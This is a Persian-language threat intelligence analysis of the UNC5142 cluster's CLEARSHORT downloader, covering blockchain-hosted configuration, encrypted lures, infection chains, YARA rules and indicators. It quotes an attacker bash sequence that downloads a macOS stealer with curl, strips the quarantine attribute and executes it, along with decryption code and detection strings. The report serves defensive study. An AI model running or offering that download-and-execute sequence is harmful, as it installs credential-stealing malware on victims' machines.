در دسامبر ۲۰۲۴، UNC5142 رمزنگاری AES رو برای صفحه ی لندینگ CLEARSHORT معرفی کرد و از استفاده ی پیلودهای کد شده با Base64 که قبلا بکار میرفتن، فاصله گرفت. این تغییر نه‌ تنها کارایی برخی تلاشهای شناسایی رو کاهش میده، بلکه تحلیل پیلود رو برای محققین امنیتی دشوارتر میکنه. صفحه ی لندینگ CLEARSHORT رمزنگاری‌ شده معمولا روی یک صفحه ی Cloudflare با پسوند dev. میزبانی میشه. تابعی که صفحه ی لندینگ رمزنگاری‌شده ی AES رو رمزگشایی میکنه از بردار مقداردهی اولیه (IV) استفاده میکنه که از قرارداد سطح‌ سوم بازیابی میشه. رمزگشایی در سمت کلاینت، یعنی در مرورگر قربانی، انجام میشه.

شکل زیر کلید AES ذخیره شده در قرارداد هوشمند رو نشون میده:

 

 

کد زیر منطق رمزگشایی رو نشون میده:

 

JavaScript
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// Simplified example of the decryption logic
async function decryptScrollToText(encryptedBase64, keyBase64) {
    const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
    const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
    const iv = combinedData.slice(0, 12); // IV is the first 12 bytes
    const encryptedData = combinedData.slice(12);
    const cryptoKey = await crypto.subtle.importKey(
        "raw", key, "AES-GCM", false, ["decrypt"]
    );
    const decryptedArrayBuffer = await crypto.subtle.decrypt(
        { name: "AES-GCM", iv },
        cryptoKey,
        encryptedData
    );
    return new TextDecoder().decode(decryptedArrayBuffer);
}
 
// ... (Code to fetch encrypted HTML and key from the third-level contract) ...
 
if (cherryBlossomHTML) { // cherryBlossomHTML contains the encrypted landing page
     try {
        let sakuraKey = await JadeContract.methods.pearlTower().call(); // Get the AES key
        const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);
        // ... (Display the decrypted HTML in an iframe) ...
    } catch (error) {
        return;
    }
}

 

قالبها و طعمه‌های UNC5142:

CLEARSHORT از طعمه‌ های متنوعی برای صفحه ی لندینگ خودش استفاده کرده و اونارو در طول زمان تکامل داده:

  • ژانویه ی ۲۰۲۵: طعمه‌ ها شامل توافقنامه‌ های جعلی حریم خصوصی (Data Privacy) و reCAPTCHA جعلی بودن.

 

 

  • مارس ۲۰۲۵: خوشه ی تهدید از طعمه‌ ای استفاده کرد که خطای وب IP مربوط به Cloudflare رو شبیه‌ سازی میکرد.

 

 

  • مه ۲۰۲۵: یک طعمه ی ضدبات (Anti-Bot) مشاهده شد که نمونه ی دیگه ای از مرحله ی تأیید جعلی رو ارائه میداد. (تکنیک ClickFix)

 

 

آنالیز فعالیت درون زنجیره ی بلاکچین:

آنالیز انجام‌ شده توسط Mandiant Threat Defense از فعالیتهای درون زنجیره‌ای گروه UNC5142 در زنجیره هوشمند BNB (BNB Smart Chain) نشان‌ دهنده ی یک استراتژی عملیاتی شفاف و در حال تکامل هستش. تایم لاین تراکنشهای بلاکچین نشان میده که این گروه از دو مجموعه زیرساخت قرارداد هوشمند مجزا استفاده کردن که توسط Google Threat Intelligence Group (GTIG) به عنوان زیرساختهای اصلی (Main) و ثانویه (Secondary) ردیابی میشن. هر دو زیرساخت هدف نهایی یکسانی یعنی توزیع بدافزار از طریق دانلودر CLEARSHORT رو دارن.

با استفاده از قابلیت جستجوی شباهتهای (similarity search) قراردادهای هوشمند در BNB Smart Chain، فرآیندی که در اون بایت‌ کد کامپایل‌ شده ی قراردادها، برای یافتن شباهتهای عملکردی مقایسه میشه، مشخص شد که قراردادهای هوشمند اصلی و ثانویه در لحظه ی ایجادشان کاملا یکسان بودن. این موضوع به‌ شدت نشان میده که تمام فعالیتهای مشاهده‌ شده توسط یک بازیگر تهدید واحد یعنی UNC5142 انجام شده. احتمال بسیار بالایی وجود داره که این بازیگر زیرساخت اصلی موفق خودش رو کلون کرده تا پایه‌ای برای زیرساخت ثانویه ایجاد کنه و بعدش از طریق تراکنشهای بعدی اونو بروزرسانی کرده تا پیلودهای متفاوتی رو منتشر کنه.

آنالیز بیشتر منابع تأمین مالی نشان داد که کیف‌ پولهای اصلی هر دو گروه از یک کیف‌ پول واسط مشترک (آدرس 0x3b5a…32D) تأمین مالی شدن. حسابی که با صرافی رمزارز OKX مرتبط هستش.

در حالیکه استناد صرفا به تراکنشهای انجام‌ شده از کیف‌ پولهای پرتراکنش صرافیها، نیازمند احتیاط هستش، اما این ارتباط مالی، همراه با کد قرارداد هوشمند یکسان و روشهای استقرار مشابه، به احتمال بسیار زیاد نشان میده که یک بازیگر تهدید واحد، یعنی UNC5142، هر دو زیرساخت رو کنترل میکنه.

 

زیرساختهای توزیع موازی:

سوابق تراکنشها نشان میده که رویدادهای کلیدی برای هر دو گروه (Main و Secondary) در بازه‌ های زمانی نزدیک به هم رخ دادن، که نشانگر مدیریت هماهنگ‌ شده هستش. در ۱۸ فوریه ۲۰۲۵، نه‌ تنها کل زیرساخت ثانویه ایجاد و پیکربندی شده، بلکه کیف‌ پول بازیگر اصلی (Main) هم در همان روز مجددا تأمین مالی شده. این فعالیت مالی هماهنگ‌ شده به‌ شدت نشان میده که یک بازیگر واحد در حال آماده‌سازی و اجرای گسترش عملیات خودش بوده. علاوه بر این، در ۳ مارس ۲۰۲۵، سوابق تراکنش نشان میده که کیف‌ پولهای عامل هر دو زیرساخت اصلی و ثانویه، فعالیتهایی برای بروزرسانی پیلودها و طعمه‌ ها انجام دادن. این موضوع بیانگر مدیریت همزمان چند کمپین هستش، جایی که بازیگر تهدید بطور فعال در حال نگهداری و اجرای کمپین های توزیع جداگانه از طریق هر دو مجموعه قرارداد هوشمند بوده.

 

زیرساخت اصلی (Main):

آنالیز Mandiant Threat Defense نشان میده که ایجاد زیرساخت اصلی در بازه‌ای کوتاه و متمرکز در ۲۴ نوامبر ۲۰۲۴ انجام شده. کیف‌ پول عامل اصلی (آدرس: 0xF5B9…71B) در همان روز با ۰.۱ BNB (حدود ۶۶ دلار آمریکا در آن زمان) تأمین مالی شده. در ماههای بعد، این کیف‌ پول و کیف‌ پولهای واسط مرتبط باهاش، چندین بار تأمین مالی شدن تا بازیگر مطمئن بشه که مقدار کافی BNB برای پرداخت کارمزد تراکنشها، جهت ادامه عملیات داره.

سوابق تراکنشهای زیرساخت اصلی نشان میده که بروزرسانیهای منظم و پیوسته‌ای در نیمه ی اول سال ۲۰۲۵ انجام شده. پس از راه‌ اندازی اولیه، Mandiant مشاهده کرد که بروزرسانیهای پیلود و طعمه‌ها تقریبا بصورت ماهانه و گاهی هر دو هفته یکبار از دسامبر ۲۰۲۴ تا پایان مه ۲۰۲۵ انجام شدن. این فعالیت مستمر که با بروزرسانیهای مکرر در قرارداد هوشمند سطح‌ سوم همراه بوده، نشان‌ دهنده ی نقش اون بعنوان زیرساخت اصلی کمپین های UNC5142 هستش.

 

زیرساخت ثانویه (Secondary):

Mandiant Threat Defense توسعه ی قابل‌ توجهی رو مشاهده کرده که در اون بازیگر تهدید، زیرساخت ثانویه و موازی جدیدی رو مستقر کرده. کیف‌ پول عامل ثانویه (آدرس: 0x9AAe…fac9) در ۱۸ فوریه ۲۰۲۵ تأمین مالی شده و ۰.۲۳۵ BNB (حدود ۱۵۲ دلار آمریکا در آن زمان) دریافت کرده. کمی بعد، کل سیستم سه‌ قراردادی مستقر و پیکربندی شده. Mandiant مشاهده کرده که بروزرسانیهای زیرساخت ثانویه بین اواخر فوریه و اوایل مارس ۲۰۲۵ فعال بودن. پس از این دوره ی اولیه، تعداد بروزرسانیها در قراردادهای ثانویه بطور قابل‌ توجهی کاهشی شده.

زیرساخت اصلی بعنوان هسته ی اصلی کمپین شناخته میشه، به دلیل زمان ایجاد زودتر و جریان مداوم بروزرسانیها. در مقابل، زیرساخت ثانویه بصورت یک استقرار تاکتیکی و موازی به نظر میرسه که احتمالا برای پشتیبانی از افزایش مقطعی در فعالیت کمپین، آزمایش طعمه‌ های جدید یا افزایش تاب آوری عملیاتی راه‌ اندازی شده. تا زمان انتشار این گزارش، آخرین بروزرسانی مشاهده‌ شده روی زنجیره مربوط به این زیرساخت در ۲۳ ژوئیه ۲۰۲۵ بوده، که نشان میده احتمالا کمپین متوقف شده یا بازیگر تهدید روشهای عملیاتی خودش رو تغییر داده.

 

تایم لاین زیرساخت درون زنجیره‌ای UNC5142

 

توزیع پیلود نهایی:

در طول یک سال گذشته، Mandiant Threat Defense مشاهده کرده که UNC5142 مجموعه‌ای گسترده از پیلودهای نهایی از جمله VIDAR, LUMMAC.V2 و RADTHIEF رو توزیع کرده.

 

تایم لاین پیلود نهایی

 

با توجه به توزیع انواع مختلف پیلودها در بازه‌های زمانی متفاوت، ممکنِ UNC5142 بعنوان یک خوشه ی توزیع بدافزار، عمل میکنه. خوشه‌ های توزیع، نقش مهمی در چشم‌ انداز تهدیدات سایبری مجرمانه ایفا میکنن و به بازیگران با سطوح مختلف توانایی فنی، این امکان رو میدن که بدافزار توزیع کنن و/یا دسترسی اولیه به محیط قربانیان رو بدست بیارن.

با این حال، با توجه به توزیع مداوم بدافزارهای سارق اطلاعات، محتمل است که هدف این خوشه ی توزیع، جمع‌آوری اعتبارنامه‌ های سرقت‌ شده برای انجام عملیات بعدی هستش. مثلا فروش این اعتبارنامه‌ ها به خوشه‌ های تهدید دیگه. در حالیکه مدل فعالیت دقیق UNC5142 مشخص نیست، GTIG فعلا این پیلودهای نهایی رو مستقیما به این خوشه نسبت نمیده، چون ممکن UNC5142 صرفا نقش توزیع‌ کننده رو داشته باشه.

تحلیل زنجیره‌ های آلودگی از ابتدای ۲۰۲۵ نشان میده که UNC5142 پس از طعمه ی اولیه ی CLEARSHORT از یک زنجیره ی قابل‌ تکرار چهار مرحله‌ای برای تحویل استفاده میکنه:

  • دراپر اولیه (Initial dropper): مرحله ی اول تقریبا همیشه شامل اجرای یک فایل HTML Application (.hta) از راه دور هستش، که اغلب با یک پسوند فایل بی‌ خطر مانند xll (افزونه ی اکسل) جایگزین و جعل میشه. این مؤلفه که از یک دامنه ی مخرب یا یک سرویس اشتراک‌ گذاری فایل قانونی دانلود میشه، بعنوان نقطه ی ورود برای اجرای کد روی سیستم قربانی بیرون از سندباکس امنیتی مرورگر عمل میکنه.
  • لودر پاورشل: نقش اصلی دراپر اولیه دانلود و اجرای یک اسکریپت پاورشل مرحله ی دوم هستش. این اسکریپت مسئول فرار از مکانیزم های دفاعی و هماهنگی دانلود پیلود نهایی، هستش.
  • سوء استفاده از سرویسهای قانونی: مهاجم بطور مداوم از سرویسهای میزبانی فایل قانونی مانند GitHub و MediaFire برای میزبانی blobهای داده ی رمزنگاری‌ شده استفاده کرده و در برخی موارد پیلودهای نهایی، روی زیرساخت خود بازیگر میزبانی شدن. این تاکتیک به ترافیک مخرب کمک میکنه با فعالیت شبکه ی قانونی ترکیب بشه و فیلترهای مبتنی بر اعتبار رو دور بزنه. (منظور از اعتبار این سایتهای قانونی، برای مشروع بودن خودش استفاده میکنه)
  • اجرا در حافظه (In-memory): اوایل ژانویه، اجراییها برای تحویل VIDAR استفاده میشدن، اما از اون زمان پیلود نهایی بصورت یک blob داده ی رمزنگاری‌ شده که به شکل انواع فایل رایج، مثل mp4، .wav, .dat جعل شده بودن، تحویل داده میشن. لودر پاورشل شامل منطق دانلود این blob، رمزگشایی اون در حافظه، و اجرای پیلود نهایی (اغلب یک لودر NET.)، بدون اینکه بدافزار رمزگشایی‌ شده، روی دیسک نوشته بشه، هستش.

 

 

کمپین های قبلی:

در زنجیره‌ های آلودگی قبلی، آدرس URL مربوط به دراپر مرحله ی اول hta، اغلب مستقیما در دستور طعمه ی CLEARSHORT هاردکد میشد (مثلا mshta hxxps[:]//…pages.dev). اسکریپت پاورشل بعدش بدافزار نهایی رو مستقیما از یک مخزن عمومی مانند GitHub دانلود میکرد.

 

ژانویه ۲۰۲۵:

تکامل اصلی بازیگر این بود که دیگه بدافزار رو مستقیما بعنوان یک فایل اجرایی تحویل نده. در عوض، اونا شروع به میزبانی blobهای داده ی رمزنگاری‌ شده روی سرویسهایی مانند MediaFire کردن که بصورت فایلهای رسانه‌ای (مثل mp4, mp3) جعل شده بودن. لودرهای پاورشل، بروزرسانی شدن تا شامل توابع رمزگشایی (مثل AES، TripleDES) برای رمزگشایی این blobها در حافظه باشن و در نهایت یک دراپر NET. مرحله ی نهایی یا خود بدافزار رو ارائه بدن.

 

فوریه ی ۲۰۲۵ و بعدش:

تغییر قابل‌ توجه‌تر، یکپارچه‌ تر شدن زیرساخت درون‌ زنجیره‌ای هکرها بود. بجای هاردکد کردن URL دراپر داخل طعمه، اسکریپت CLEARSHORT شروع به اجرای مستقیم eth_call به قرارداد هوشمند سطح‌ سوم کرد. قرارداد هوشمند اکنون بصورت پویا آدرس URL دراپر مرحله ی اول رو فراهم میکرد. این به بازیگر کنترل کامل و بلادرنگ به زیرساخت، بعد از طعمه رو میده. هکرها میتونن دامنه ی دراپر، نام فایل و کل زنجیره ی بعدی رو تنها با ارسال یک تراکنش ارزان به قرارداد هوشمندشون تغییر بدن. در زنجیره ی آلودگی منجر به RADTHIEF، محققای Mandiant Threat Defense مشاهده کردن که بازیگر گاهی به روش قدیمی و هاردکد کردن URL مرحله ی اول در طعمه برگشته. این نشان میده که UNC5142 رویکردی انعطاف‌پذیر داره و روشهای آلودگی خودش رو بر اساس هر کمپین تطبیق میده.

 

هدفگیری macOS:

نکته قابل توجه این که این خوشه ی تهدید هم سیستمهای ویندوز و هم macOS رو هدف قرار داده. در فوریه ی ۲۰۲۵ و دوباره در آوریل ۲۰۲۵، این گروه، بدافزار ATOMIC که یک بدافزار سارق اطلاعات مخصوص macOS هستش رو، توزیع کردن. طعمه‌ های مهندسی اجتماعی برای این کمپین تکامل یافتن. در حالیکه طعمه ی فوریه صراحتا Instructions For MacOS رو ارائه میکرد، نسخه‌ های آوریل تقریبا همانند طعمه‌هایی بودن که در کمپین ویندوز استفاده میشدن.

 

مه 2025
فوریه 2025

 

در زنجیره ی آلودگی فوریه، طعمه، کاربر رو تشویق میکرد تا یک فرمان bash رو اجرا کنه که یک اسکریپت شل رو بازیابی میکرد (شکل بالا فوریه 2025). این اسکریپت بعدش با استفاده از curl، پیلود مربوط به ATOMIC رو از hxxps[:]//browser-storage[.]com/update دریافت میکرد و پیلود ATOMIC رو در فایلی با نام /tmp/update مینوشت.

 

1
2
3
4
curl -o /tmp/update https://browser-storage[.]com/update
xattr -c /tmp/update
chmod +x /tmp/update
/tmp/update

 

استفاده از دستور xattr در داخل اسکریپت bash یک تکنیک عمدی برای فرار از مکانیسم دفاعی هستش که ویژگی com.apple.quarantine رو حذف میکنه. این کار مانع از نمایش پیام امنیتی macOS میشه که معمولا قبل از اجرای اولین‌ بار یک برنامه ی دانلود شده نمایش داده میشه و از کاربر برای اجرا، درخواست تایید میکنه.

 

چشم‌انداز و پیامدها:

در طول سال گذشته، گروه UNC5142 نشان داده که دارای چابکی، انعطاف‌ پذیری و تمایل به سازگاری و تکامل در عملیات خودش هستش. از اواسط سال ۲۰۲۴ تاکنون، این خوشه ی تهدید مجموعه‌ای گسترده از تغییرات رو آزمایش و پیاده‌ سازی کرده، از جمله:

  • استفاده از چندین قرارداد هوشمند
  • رمزگذاری پیلودهای ثانویه با AES
  • میزبانی صفحات لندینگ در دامنه‌ های Cloudflare .dev
  • معرفی تکنیک مهندسی اجتماعی جدیدی با نام ClickFix

احتمال زیاد این تغییرات با هدف دور زدن سامانه‌ های شناسایی امنیتی، ایجاد پیچیدگی در فرآیند تحلیل، و افزایش میزان موفقیت عملیات اونا انجام شده. وابستگی این گروه به پلتفرمهای قانونی و شناخته‌ شده مانند BNB Smart Chain و Cloudflare Pages، لایه‌ای از مشروعیت ظاهری ایجاد میکنه که میتونه به دور زدن برخی از مکانیزمهای شناسایی امنیتی کمک کنه.

با توجه به بروزرسانیهای مکرر زنجیره ی آلودگی،حفظ ریتم ثابت در عملیات، حجم بالای سایتهای آلوده‌ شده و تنوع زیاد در بدافزارهای توزیع‌ شده در یک‌ و نیم سال گذشته، میشه نتیجه گرفت که UNC5142 در عملیات خودش تا حدی موفقیت عملیاتیِ قابل توجهی کسب کرده.

با وجود اینکه از جولای ۲۰۲۵ به بعد، فعالیتهای UNC5142 ظاهرا متوقف یا در حالت تعلیق قرار گرفته، اما تمایل این گروه به استفاده از فناوریهای نوظهور و گرایش قبلی‌ شون به تکامل مداوم TTPها میتونه نشان‌ دهنده ی این باشه که اونا صرفا روشهای عملیاتی خودشون رو بطور عمیق تغییر دادن تا از شناسایی امنیتی فرار کنن.

 

فرصت‌های شناسایی:

شاخصهای نفوذ (IOC) و رولهای YARA زیر، بصورت یک بسته ی جامع از قوانین و شاخصها در Google Threat Intelligence (GTI) در دسترس هستن. Mandiant قوانین مرتبط رو در مجموعه ی Mandiant Frontline Threats که در Google SecOps قرار داره منتشر کرده.

 

MITRE ATT&CK:

Rule Name Tactic Technique
Run Utility Spawning Suspicious Process TA0003 T1547.001
Mshta Remote File Execution TA0005 T1218.005
Powershell Launching Mshta TA0005 T1218.005
Suspicious Dns Lookup Events To C2 Top Level Domains TA0011 T1071.001
Suspicious Network Connections To Mediafire TA0011 T1071.001
Mshta Launching Powershell TA0005 T1218.005
Explorer Launches Powershell Hidden Execution TA0002 T1059.001

 

قوانین YARA:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
rule M_Downloader_CLEARSHORT_1 {
    meta:
        author = "Mandiant"
    strings:
        $payload_b641 = "ipconfig /flushdns" base64
        $payload_b642 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" base64
        $payload_b643 = "[System.Diagnostics.Process]::Start(" base64
        $payload_b644 = "-ep RemoteSigned -w 1 -enc" base64
 
        $payload_o1 = "ipconfig /flushdns" nocase ascii wide
        $payload_o2 = "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(" nocase ascii wide
        $payload_o3 = "[System.Diagnostics.Process]::Start(" nocase ascii wide
        $payload_o4 = "-ep RemoteSigned -w 1 -enc" nocase ascii wide
 
 
        $htm_o1 = "title: \"Google Chrome\","
        $htm_o2 = "PowerShell"
        $htm_o3 = "navigator.clipboard.writeText"
        $htm_o4 = "document.body.removeChild"
        $htm_o5 = "downloadButton.classList.add('downloadButton');"
        $htm_o6 = "getUserLanguage().substring(0, 2);"
        $htm_o7 = "translateContent(userLang);"
        
        $htm_b64_1 = "title: \"Google Chrome\"," base64  
        $htm_b64_2 = "PowerShell" base64
        $htm_b64_3 = "navigator.clipboard.writeText" base64  
        $htm_b64_4 = "document.body.removeChild" base64  
        $htm_b64_5 = "downloadButton.classList.add('downloadButton');" base64  
        $htm_b64_6 = "getUserLanguage().substring(0, 2);" base64  
        $htm_b64_7 = "translateContent(userLang);" base64  
    condition:
        filesize<1MB and (4 of ($payload_b*) or 4 of ($payload_o*) or 4 of ($htm_b*) or  4 of ($htm_o*))
}

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
rule M_Downloader_CLEARSHORT_2 {
    meta:
          author = "Mandiant"
    strings:
        $htm1 = "const base64HtmlContent"
        $htm2 = "return decodeURIComponent(escape(atob(str)));"
        $htm3 = "document.body.style.overflow = 'hidden';"
        $htm4 = "document.body.append(popupContainer);"
        $htm5 = "Object.assign(el.style, styles);"
        
        
        $htm_b64_1 = "const base64HtmlContent" base64
        $htm_b64_2 = "return decodeURIComponent(escape(atob(str)));" base64
        $htm_b64_3 = "document.body.style.overflow = 'hidden';" base64
        $htm_b64_4 = "document.body.append(popupContainer);" base64
        $htm_b64_5 = "Object.assign(el.style, styles);" base64
 
    condition:
        filesize<1MB and 5 of ($htm*)
}

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
rule M_Downloader_CLEARSHORT_3
{
    meta:
        author = "Mandiant"
    strings:
          
        $smart_contract1 = "9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53" nocase
        $smart_contract2 = "8FBA1667BEF5EdA433928b220886A830488549BD" nocase
        $smart_contract3 = "53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA" nocase
        $smart_contract2_hex = /38(46|66)(42|62)(41|61)31363637(42|62)(45|65)(46|66)35(45|65)(64|44)(41|61)343333393238(42|62)323230383836(41|61)383330343838353439(42|62)(44|64)/
        $smart_contract1_hex = /39313739(64|44)(64|44)(61|41)38(42|62)323835303430(42|62)(66|46)333831(41|61)(41|61)(42|62)(62|42)38(61|41)31(66|46)34(61|41)31(62|42)38(63|43)3337(45|65)(64|44)3533/
        $smart_contract3_hex = /3533(66|46)(64|44)3534(66|46)3535(43|63)3933(66|46)39(42|62)(43|63)(43|63)(41|61)343731(63|43)(44|64)30(43|63)(63|43)(62|42)(61|41)(42|62)(43|63)33(41|61)(63|43)(62|42)(64|44)33(45|65)34(41|61)(41|61)/
 
        $enc_marker1 = "4834734941444748553263432f34315662572f624"
        $enc_marker2 = "4834734941465775513263432f2b3257775772"
 
        $c2_marker_capcha = "743617074636861"
        $c2_marker_https = "68747470733a2f2f72"
        $c2_marker_json = "\"jsonrpc\":\"2.0\",\"id\":\""
 
        $str1 = /Windows\s*\+\s*R/ nocase
        $str2 = /CTRL\s*\+\s*V/ nocase
        $str3 = "navigator.clipboard.writeText" nocase
        $str4 = "captcha" nocase
        $str5 = ".innerHTML" nocase
    
        $payload1 = ".shop" base64
        $payload2 = "[scriptblock]::Create(" nocase
        $payload3 = "HTA:APPLICATION" nocase
    condition:
filesize < 15MB and (any of ($smart_contract*) or any of ($enc_marker*) or all of ($c2_marker*) or all of ($str*) or all of ($payload*))
 
 
 
}

 

Host-Based IOC:

 

SHA256 Malware Family
bcbdb74f97092dfd68e7ec1d6770b6d1e1aae091f43bcebb0b7bce6c8188e310 VIDAR
88019011af71af986a64f68316e80f30d3f57186aa62c3cef5ed139eb49a6842 VIDAR
27105be1bdd9f15a1b1a2b0cc5de625e2ecd47fdeaed135321641eea86ad6cb0 VIDAR
72d8fa46f402dcc4be78306d0535c9ace0eb9fabae59bd3ba3cc62a0bdf3db91 LUMMAC.V2
3023b0331baff73ff894087d1a425ea4b2746caf514ada624370318f27e29c2c LUMMAC.V2
4b47b55ae448668e549ffc04e82aee41ac10e3c8b183012a105faf2360fc5ec1 RADTHIEF
091f9db54382708327f5bb1831a4626897b6710ffe11d835724be5c224a0cf83 ATOMIC

Network-Based IOCs

 

Date CLEARSHORT Hosting URL
2025-05-30 hXXps://yie-cpj[.]pages[.]dev/
2025-05-05 hXXps://n51v[.]pages[.]dev/
2025-05-05 hXXps://lightsoi[.]pages[.]dev/
2025-05-01 hXXps://stat[.]bluetroniq[.]vip/
2025-05-01 hXXps://tnop[.]pages[.]dev/
2025-04-30 hXXps://app.bytevista[.]cloud/wfree
2025-04-30 hXXps://ho8[.]pages[.]dev/
2025-04-30 hXXps://z1z[.]pages[.]dev/
2025-04-30 hXXps://yuun[.]pages[.]dev/
2025-04-29 hXXps://tuboos[.]pages[.]dev/
2025-04-29 hXXps://min-js-lib[.]pages[.]dev/
2025-04-28 hXXps://yoloff[.]pages[.]dev/
2025-04-28 hXXps://relmake[.]pages[.]dev/
2025-04-26 hXXps://javascript-67t[.]pages[.]dev/
2025-04-25 hXXps://sticker-88l[.]pages[.]dev/support
2025-04-24 hXXps://know-knock-who-is-here[.]pages[.]dev/
2025-04-23 hXXps://ndgadfqwywqe[.]pages[.]dev/win
2025-04-23 hXXps://jjiiiiiiiiijjjj[.]pages[.]dev/
2025-04-22 hXXps://gthfjdk[.]pages[.]dev/
2025-04-22 hXXps://ffmqitnka[.]pages[.]dev/
2025-04-21 hXXps://jrtersdfg[.]pages[.]dev/
2025-04-20 hXXps://rhfvjck[.]pages[.]dev/
2025-04-20 hXXps://tracklist22[.]pages[.]dev/
2025-04-20 hXXps://tracklist22[.]pages[.]dev/
2025-04-20 hXXps://sound-designer-v21[.]pages[.]dev/
2025-04-19 hXXps://rivertracker[.]pages[.]dev/
2025-04-16 hXXps://bootstrappa[.]pages[.]dev/
2025-04-16 hXXps://renovateai[.]pages[.]dev/
2025-04-05 hXXps://nhgfdc-ok[.]pages[.]dev/
2025-04-05 hXXps://yt3cvkj43ws[.]pages[.]dev/
2025-04-04 hXXps://rose-pole-chip[.]pages[.]dev/
2025-04-03 hXXps://0-000-0[.]pages[.]dev/
2025-04-02 hXXps://000-0-000[.]pages[.]dev/
2025-04-02 hXXps://xxx-xx-x-xxx[.]pages[.]dev/
2025-03-18 hXXps://ooooi1[.]pages[.]dev/kop
2025-03-18 hXXps://helloworld-f1f[.]pages[.]dev/penguin
2025-03-16 hXXps://hfdjb[.]pages[.]dev/start
2025-03-13 hXXps://sunlight-11[.]pages[.]dev/a
2025-03-12 hXXps://bbb1-9we[.]pages[.]dev/mountain
2025-03-12 hXXps://jsfiles-bqq[.]pages[.]dev/1
2025-03-11 hXXps://mixg-u[.]pages[.]dev/page_d
2025-03-07 hXXps://kolobsgw[.]pages[.]dev/
2025-03-06 hXXps://nn11[.]pages[.]dev/
2025-03-05 hXXps://nnoq[.]pages[.]dev/
2025-03-05 hXXps://fmoz[.]pages[.]dev/
2025-03-05 hXXps://x1x1[.]pages[.]dev/native1E
2025-03-05 hXXps://fwfa[.]pages[.]dev/kioto
2025-03-04 hXXps://fhjwekn[.]pages[.]dev/ibn
2025-03-04 hXXps://dsk1a[.]pages[.]dev/onside
2025-03-02 hXXps://f23-11r[.]pages[.]dev/verse
2025-03-02 hXXps://dfhusj[.]pages[.]dev/train
2025-03-01 hXXps://bsdw[.]pages[.]dev/blink
2025-02-28 hXXps://hypo-dance[.]pages[.]dev/damn
2025-02-26 hXXps://ert67-o9[.]pages[.]dev/data
2025-02-26 hXXps://f003[.]backblazeb2[.]com/file/skippp/uu[.]html
2025-02-26 hXXps://f003[.]backblazeb2[.]com/file/skippp/index[.]html
2025-02-25 hXXps://hostme[.]pages[.]dev/host
2025-02-25 hXXps://ghost-name[.]pages[.]dev/website
2025-02-24 hXXps://gdfg-23rwe[.]pages[.]dev/index[.]html
2025-02-21 hXXps://sha-11x[.]pages[.]dev/
2025-02-20 hXXps://b1-c1-k8[.]pages[.]dev/
2025-02-20 hXXps://1a-a1[.]pages[.]dev/
2025-02-20 hXXps://sdfwefwg[.]pages[.]dev/
2025-02-19 hXXps://niopg[.]pages[.]dev/
2025-02-19 hXXps://sdfwefwg[.]pages[.]dev/
2025-02-18 hXXps://cleaning-devices-k[.]pages[.]dev/
2025-02-16 hXXps://tour-agency-media[.]pages[.]dev/
2025-02-16 hXXps://fresh-orange-juice[.]pages[.]dev/
2025-02-16 hXXps://you-insk-bad[.]pages[.]dev/
2025-02-11 hXXps://human-verify-7u[.]pages[.]dev/
2025-02-10 hXXps://recaptcha-verify-me-1c[.]pages[.]dev/
2025-02-07 hXXps://macos-browser-update-9n[.]pages[.]dev/
2025-02-07 hXXps://macos-browser-update-5i[.]pages[.]dev/
2025-02-07 hXXps://macos-browser-update-5y[.]pages[.]dev/
2025-02-07 hXXps://recaptcha-verify-2e[.]pages[.]dev/
2025-02-07 hXXps://recaptcha-verify-7z[.]pages[.]dev/
2025-02-07 hXXps://recaptcha-verify-1t[.]pages[.]dev/
2025-02-04 hXXps://recaptcha-verify-9m[.]pages[.]dev/
2025-02-02 hXXps://disable-data-collect-ai[.]pages[.]dev/
2025-01-25 hXXps://recaptcha-verify-1r[.]pages[.]dev/
2025-01-23 hXXps://recaptha-verify-5q[.]pages[.]dev/
2025-01-22 hXXps://recaptha-verify-6l[.]pages[.]dev/
2025-01-02 hXXps://recaptha-verify-1n[.]pages[.]dev/
2024-12-31 hXXps://recaptha-verify-4z[.]pages[.]dev/
2024-12-30 hXXps://recaptha-verify-7u[.]pages[.]dev/
2024-12-28 hXXps://recaptha-verify-c1[.]pages[.]dev/
2024-12-28 hXXps://recaptha-verify-3m[.]pages[.]dev/
2024-12-27 hXXps://recaptha-verify-2w[.]pages[.]dev/
2024-12-25 hXXps://recaptha-verify-q3[.]pages[.]dev/
2024-12-23 hXXps://recaptcha-dns-o5[.]pages[.]dev/
2024-12-21 hXXps://recaptcha-dns-d9[.]pages[.]dev/
2024-12-20 hXXps://recaptha-verify-9o[.]pages[.]dev/
2024-12-19 hXXps://recaptcha-0d-verify[.]pages[.]dev/
2024-12-17 hXXps://recaptha-verify-7y[.]pages[.]dev/
2024-12-15 hXXps://dns-resolver-es8[.]pages[.]dev/
2024-12-14 hXXps://ip-provider[.]pages[.]dev/
Date Next Stage Payload URL
2025-05-30 hXXps://kimbeech[.]cfd/cap/verify.sh
2025-05-13 hXXps://entrinidad[.]cfd/1/verify.sh
2025-05-11 hXXps://tofukai[.]cfd/2/verify.sh
2025-05-08 hXXps://privatunis[.]cfd/1/verify.sh
2025-05-05 hXXps://e[.]overallwobbly[.]ru/era-stc
2025-05-01 hXXps://salorttactical[.]top/2/verify.sh
2025-04-28 hXXps://security-2u6g-log[.]com/1/verify.sh
2025-04-28 hXXps://lammysecurity[.]com/4/verify.sh
2025-04-27 hXXps://security-7f2c-run[.]com/2/verify.sh
2025-04-26 hXXps://security-9y5v-scan[.]com/3/verify.sh
2025-04-25 hXXps://security-9y5v-scan[.]com/7/verify.sh
2025-04-24 hXXps://security-a2k8-go[.]com/6/verify.sh
2025-04-23 hXXps://security-check-l2j4[.]com/verify.sh
2025-04-23 hXXps://security-2k7q-check[.]com/1/verify.sh
2025-04-22 hXXps://security-check-u8a6[.]com/2/verify.sh
2025-04-20 hXXps://betiv[.]fun/7456f63a46cc318334a70159aa3c4291[.]txt
